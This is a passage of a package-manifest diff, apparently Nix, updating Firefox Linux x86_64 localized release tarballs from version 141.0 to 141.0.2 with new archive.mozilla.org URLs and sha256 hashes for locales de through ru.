+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/de/firefox-141.0.2.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "b6d065f00726d340e0dff99192230f103a67e9e53ed33f54982d4c3fbb8743d3";
+      sha256 = "8c2284cbc85339f8bbe82949c1c590a60f303e3734116b991141c1c1774fd705";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/dsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/dsb/firefox-141.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "80c95b18b23323da0ab223e821d334e43c1dd559ee7766b0d0528bee785357c1";
+      sha256 = "3335c6f90db7a191969b41ca49dabf6a9af06305918cc6484cec61ac7025a848";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/el/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/el/firefox-141.0.2.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "bf674b73a1fe252aaa116009278522b6d77abc5904f6c0a80a2582838e64a1bb";
+      sha256 = "1a78becf72f5657015f8085fc166ac5249b8ad2c2f66d3a8cd9ce1a40e520d94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-CA/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-CA/firefox-141.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "cb4ba527f1529848a4b4685cf2b95f2c412a0949df8ad39e7d46361ddf362e40";
+      sha256 = "a9cab9fb39dddc43c8eb357865d05546a0eb5f7b0169b41c2f647f41b91e7d79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-GB/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-GB/firefox-141.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "7ff41d22f2d9cb62ae9886103a790c353bbe43dfb2536f2726e5e65bdd8bd8a2";
+      sha256 = "b32365b0bb1e0194680ad43a93cb5c23b5c9f1ab69433ae94de1c4ad40aa7a15";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/en-US/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/en-US/firefox-141.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "2e96728330c1ffc90dbf45ecd10a82237e4ee528245888954000e67435494829";
+      sha256 = "bfdef92fed2171068f964eb991e849e546454545249b0271b6ccf18a51a43d6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/eo/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/eo/firefox-141.0.2.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "71866de169b504b80b2a3fba2e636b3e12c6f89e53d8c7ad9440bd613f5e85b6";
+      sha256 = "84a30b5e6e0627a60d6890fb4a8b28a851a241ef8d55afaa628bd84fb4a0d917";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-AR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-AR/firefox-141.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "57f6b30511f93c3c5aba682c61fa533b1bae6682c0979cda3ac910bca2aa660b";
+      sha256 = "6400559528061276ba189a278907ec21ad334971268ca5fb0e3dd31243581552";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-CL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-CL/firefox-141.0.2.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "1f86e51d8e1573ab65cc6614a06cccd5176d1a34b9ca7b78a7015e820c54703a";
+      sha256 = "a969468e7a96f1ec7118a695e6b59822738206b89469323917c49c05a284a47f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-ES/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-ES/firefox-141.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "c623c56d71f89a9a1bbd31edc8b2a3dee30522ae32448e92d608e8269aad5d3f";
+      sha256 = "a62199b06c4ecf9cd6b0f875a8ff52e0a8296be2d18dacae3deade1572118e42";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/es-MX/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/es-MX/firefox-141.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e4d2e2865070df8e6c41191401b854e20ae75f1c4ad7c0aea530adc761c39db2";
+      sha256 = "95488e479bc2da15952d9eace43dfd5e34ffe15c0af6837eaa64f30dd42a1b27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/et/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/et/firefox-141.0.2.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "31cc948f723a7dcc0dd8fe8f6daea40102aa84dcb80855eae9bf85dcf26f9d86";
+      sha256 = "325ea9771c622bbb213cbb9ab04c92b3d68cd9fbb6057ed52055589cbb667ebe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/eu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/eu/firefox-141.0.2.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "d4089668e9fbefc146bdf33dcb6ceed190d6a65ee56d2c95e998b06adcb9b39d";
+      sha256 = "497b4684c56e1d58ebf0810254d74bca5cd5288a50d5d0b3c4aba57118b4953e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fa/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fa/firefox-141.0.2.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "6d0e6301529846f112c6590852e72bc747c9d5448b72935a49920a39a14d3439";
+      sha256 = "6d82a669fc285e35d786900ef7bcc1bc8dc6bba4493d4c79734b91dea43a048d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ff/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ff/firefox-141.0.2.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "5dc83cdce211ffae44202383634c96b443e0b83722ddd2ca0e06028b85b9c539";
+      sha256 = "7f13c14a16a14d761644b47ff82b58af237e3919fac0e1972d61341a8e2d9b13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fi/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fi/firefox-141.0.2.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "c6a1b0da82834768b5102f7abb698a2a9b86a1a8e4cf5c289f76e597fd26de81";
+      sha256 = "5b94b1a733947366fc8b2ddaed2bf59b5de278720a721536818d2c0efa23c7c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fr/firefox-141.0.2.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "1fcda548b4e7d7dd489646d7b375dffce227d978bfd2f6d08b85dde3c7bb38d9";
+      sha256 = "04c34866eba2cfae204a4c2aaaf7205f4fb1726376eed09281d548edf2a659bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fur/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fur/firefox-141.0.2.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "3ec0a1f62207fbdfdd393ddee4834df18948acb90b2563898031e071e6b7aa76";
+      sha256 = "97d59ee9f88519c188193f940c0de6cbcb1feed270802a1b96f6277bf3ee087b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/fy-NL/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/fy-NL/firefox-141.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "ec25b6f7c44797af3801ea711897e170eefa73e73ef631de71c67abdef5e1173";
+      sha256 = "07aafb174de4c4d7be661e32bea20583e05848242bada365d57bfed9105f6a6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ga-IE/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ga-IE/firefox-141.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "c7b6828beea6cf578301b0e765ec4f8518f35eccb8a2e370ed94e5697f09d115";
+      sha256 = "eb853ffd568b9e2a237278b3f52ccb33b26d5f45774ec12aac2a2ab723f3b855";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gd/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gd/firefox-141.0.2.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "37e25ae1bb99b97610cd9be71ca0d4cadcef048412d520aae58fc2764e6181db";
+      sha256 = "e0f125b0ba49c9e515513dabcf1b376a53ef9f294bd1b6b21b486e60f4117284";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gl/firefox-141.0.2.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "83183330f5a1784da6f246f3ba0daf8beb8742a7440c51dc8b184b0b9de3f588";
+      sha256 = "73ea37fbd1764d3d62ac0fa9d8ce3e9929ee218730996c9867eeec9b729e6335";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gn/firefox-141.0.2.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "45057f2c452fd7ab24f9962b40c246638432d4d7d03b19ea782badca090da0f7";
+      sha256 = "83785281a9b743672c19abf400f71543477513d66971f84386d36276be575785";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/gu-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/gu-IN/firefox-141.0.2.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "68af924f8fb5d919ea5599ba568962c8009d4f5de07d874d5334687972f36338";
+      sha256 = "00aebf18ca6d6d417ea6669be39a829aac74f98fdea3ae40e9259cb3821128a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/he/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/he/firefox-141.0.2.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "73e902a07907897b5a4003c7ff24871b43d716d2a794bf70e507f8a5e11f683e";
+      sha256 = "dc7c3d5dc89678a4a496e59d51b61b9470df69291e0ffa0d20644d90c367d8c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hi-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hi-IN/firefox-141.0.2.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "e225f7ffe452266ffab0d85b487b81dbf04a5429d57f70da53a86839a6a9014c";
+      sha256 = "fea984d9dea9b7be6c2f17a8972a6964552b3af64f4f95b6ef366ab88503d023";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hr/firefox-141.0.2.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "a72814186ba7b1f51d284acc8d8e9073fc6648c77d39247a4ae47b0efdcdf32c";
+      sha256 = "968db27a87df4a3c704d30db016b81cb2052fba46e35858b155156c327f8dc08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hsb/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hsb/firefox-141.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "b7adaa498a7bb21ba2b25420ed2114a0e37016b0522778c9ee181a60bef97291";
+      sha256 = "6bf23a73b33b643a73710248417a9ed13fd438e2fa9f8f1ebe0219214a5de1f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hu/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hu/firefox-141.0.2.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "d1d19362eeaafea3741cc304c25698a1a786560eac7723e4809b9e838a45a6fa";
+      sha256 = "c62f7802fd77f4292292062b50795428e691b0777af6fab0141f59f807849867";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/hy-AM/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/hy-AM/firefox-141.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "917231e760fea43b5cf8c0ca536677201d763e6407cd3bc9dd40a23f09b30a83";
+      sha256 = "6e6ffae9dffcad40418e7ae8dc80e6d658dd996506f2ba1dfb09b26690515548";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ia/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ia/firefox-141.0.2.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "9a95a730bdbaa79bca731a646ca3c5e404758a853b48f9be46ca1c986fe7fc02";
+      sha256 = "5c6a8f0d145555c7b2b66f0c884d74298232cdc26f33b0dcb3e40710b878ffc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/id/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/id/firefox-141.0.2.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "da3d3de6eff36ec93fbcfdcccd0283513eaea316a2cc9ebd814d895fc1b68e41";
+      sha256 = "f9a3e164821aa74fd098f9e75b347990d68e50a73842235035519afd9a389898";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/is/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/is/firefox-141.0.2.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "c08761f2e05d8ff2e972f129bcb8922d8dde2e33d50e9812854111a27f120c3d";
+      sha256 = "38a87ef517c80dfa6e8e90b3b0d1e44e153e0040a53ee08193d0273e15b2a64a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/it/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/it/firefox-141.0.2.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "ea28cf696817240f2046c7806c883b38dccfbbeb3d16584856230484b3ae6f40";
+      sha256 = "ee952c351f141881279e661d75a750b3d3cdb9d414cd08e7e748863ff26c1375";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ja/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ja/firefox-141.0.2.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "bf84f48fb3649491dcfb15123daa413df7acdb1f228b6d9a942c680e781d4f92";
+      sha256 = "450ce5740c68dd87942d906813c5d483d81cfb47e32847794455be40e4a3572f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ka/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ka/firefox-141.0.2.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "f6da1a00fe176ecd85817b26a068f4e1130bd50abf6136109ea0401573844f96";
+      sha256 = "acbf3e846e5ab77ef51726fb39d4deb6bb681e9f35b45b122df38758b263b350";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kab/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kab/firefox-141.0.2.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "bda812d1c00b1b7bbd711749833abcc6b751074e37ad829d0e2c242e1e7f74c0";
+      sha256 = "f79256027c2cd8d1793561415f5dd5c3d2277ef007db7d93335149c64083ccdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kk/firefox-141.0.2.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "67b5f326b92f46ae52c648758e0157d0c14336ff957ca21b84288897273d5eec";
+      sha256 = "d9808d96ef128ce43f4b73b001b53d9b858dcefda24c15a6a6f593a401c1336f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/km/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/km/firefox-141.0.2.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "4fb69460b2a9a9a768aed91915c000f18860c1a46efc31e05c5fc4e083b6bceb";
+      sha256 = "0bd584d96aa2334f8b26962d8640735826a8c900b18beb21d69ae9a03fb25bb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/kn/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/kn/firefox-141.0.2.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "37dffc6a11fcd7cecd68a1bfc1d91c23f5877fad9c371e43fe5fc523d2b532ab";
+      sha256 = "5676f7179cc8e9868c1ae1f79a43acec999c3641bf304ee85e31c174a1e7ca48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ko/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ko/firefox-141.0.2.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "84e953fc82150ada59b72277056f9f925cc57dcde96770c09ad080cf9aa8b372";
+      sha256 = "02a875a1ddd6c81e259c4848e4ba4d26eb085d220bf435f51acee92e123186ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lij/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lij/firefox-141.0.2.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "a3fdc95541c34d23c4d8f3ebe75abbd292dab4c6342dc8f66d569d44aa4b3487";
+      sha256 = "3681a344f1aa42ea159253c1fd2c84b2a45b4d5d666add60b0989b73cbd905bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lt/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lt/firefox-141.0.2.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "8dfcbe66f2a636207e26033a4657880579853f456fa74bdfc569bb3c855ca6d5";
+      sha256 = "ce8e43b862700e6184607cdd479624d6ec804385fd664b55ef39167603cfdf76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/lv/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/lv/firefox-141.0.2.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "9b9b6025ff3723d8bed7d0674e4a769120f7ca7fb292e13aa6cd1395de578b3a";
+      sha256 = "c6ecf2ffec6c767d8d7b4bbd5fd02bbbc4b01934588350ffa535afc2cade7601";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/mk/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/mk/firefox-141.0.2.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "d3d04e13714e5008f8e748caa30e8822a7ebf4ee34062869a04fb26e12facdd0";
+      sha256 = "d127c6710b748b33b0cc8e1eff967599ce1b4429a84c239a5366d3b1b6f13a78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/mr/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/mr/firefox-141.0.2.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "c5892b143341aa7b598af97c3b6c8183d232c25795b92d44986a78ad4e0423e9";
+      sha256 = "1ee7f8c56209076a17a027d30c9c9eb5b26187026f8093697d42c69cdf23ebd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ms/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ms/firefox-141.0.2.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "56cc8cce77bb0a08ebe02a96119c4dd096b0b21efa7fa6e3fef23ec172087d6b";
+      sha256 = "db47c92239db92d74a49187dd607b58bb0dd235313e90ebca740d51af2aad644";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/my/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/my/firefox-141.0.2.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "908923f951d9359aab8a6842dced595dea6894845b4a87f1a0b3d230d938ed79";
+      sha256 = "e71e148af4eebb5d4411af4e57ea9497ee4f475416befcc5388a45a18ba7d99b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nb-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nb-NO/firefox-141.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "2acc1f4c9066febc25ea640f18ef4d097f566aa684c61b2aa70e7f23dbf36a3f";
+      sha256 = "127f3e414f5d23c0df278ce7948103437259bf3a1f257e32cb39cab1b58c6291";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ne-NP/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ne-NP/firefox-141.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "ef3c32c2fc7f5eda6446193fe60340b41224d657e2b0612830291a366f8c4929";
+      sha256 = "592a51f09a1a1487b7b1dd3449fa87c76941aa16da08e675ae6335e30f3fa74a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nl/firefox-141.0.2.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "94fdd76231cb9d57cab829d740cf693b5eb9263b79d90ad1c672a7c3fd9e9a80";
+      sha256 = "86598d8c6f1be410462aefa9984e58b0b21068005674d519cdaad21298923525";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/nn-NO/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/nn-NO/firefox-141.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "28fd06badf8d15e00926bc3551719760df780c528d6328ee4f712d134b406203";
+      sha256 = "5dc61c2b55f92371a03f98731de7ab56cca5dcd9f8d9d222e9cd7c68b3c238a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/oc/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/oc/firefox-141.0.2.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "ac7f41fe17af7dbf01815eaf9bcfce3725ceb0940d15d2247b0eb8028822807d";
+      sha256 = "0f43612e70180c887d056e7e3a35f5b5e9224f6cfdfde9ac13d5ba7cc10747ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pa-IN/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pa-IN/firefox-141.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "5c4e14cc6b316194b6b947698362496b9247846527004de0e1b72fbd8f327c4a";
+      sha256 = "a0da80fe0bdf2e8e95eed3cd68ee151a172028f205e748f1ce99a9cfab3f98da";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pl/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pl/firefox-141.0.2.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "e0f6f5419bd271a96cd302e10f223f642b1c6a4c95342d5a9a898bd80a7ae43a";
+      sha256 = "980f8d6447f2a9bd549a6f6d56bfae79f3f8f2d1806587df7f33a7bcadd34048";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pt-BR/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pt-BR/firefox-141.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "3a5d178aeb8b5be2f46f24d045860ade3d5bacfedf6de277cbb8605b2ec3845a";
+      sha256 = "8dac36b816f98ea4e89c0c03cfb386a7c178958db6de57de9a283fe089d65935";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/pt-PT/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/pt-PT/firefox-141.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "d7f0e228938443336a612295618b01783b1e74f3a885e3bb081a1665afc0e6ec";
+      sha256 = "859a8fc075df434bc9e3c882bc14f9845206f893c6b6596fe0e73137f9f4310c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/rm/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/rm/firefox-141.0.2.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "ffeeba509ea2daa430198075b59f1ebeeb82d7b52cd92c1d3ac522fa41100892";
+      sha256 = "4f1c09fc3dac59fc197278cfa11de06a758cfdf5469fb47f1a9887bbc2c8c8a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ro/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ro/firefox-141.0.2.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "bf218bb75858601ede8a0eb7a25ba6e40162c75b25ad89eff895c67bf1cdfdd2";
+      sha256 = "e9c6a3e46904804f60fc090e3d143640df2ca16b610d1be96472c96217de6dd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/linux-x86_64/ru/firefox-141.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-x86_64/ru/firefox-141.0.2.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
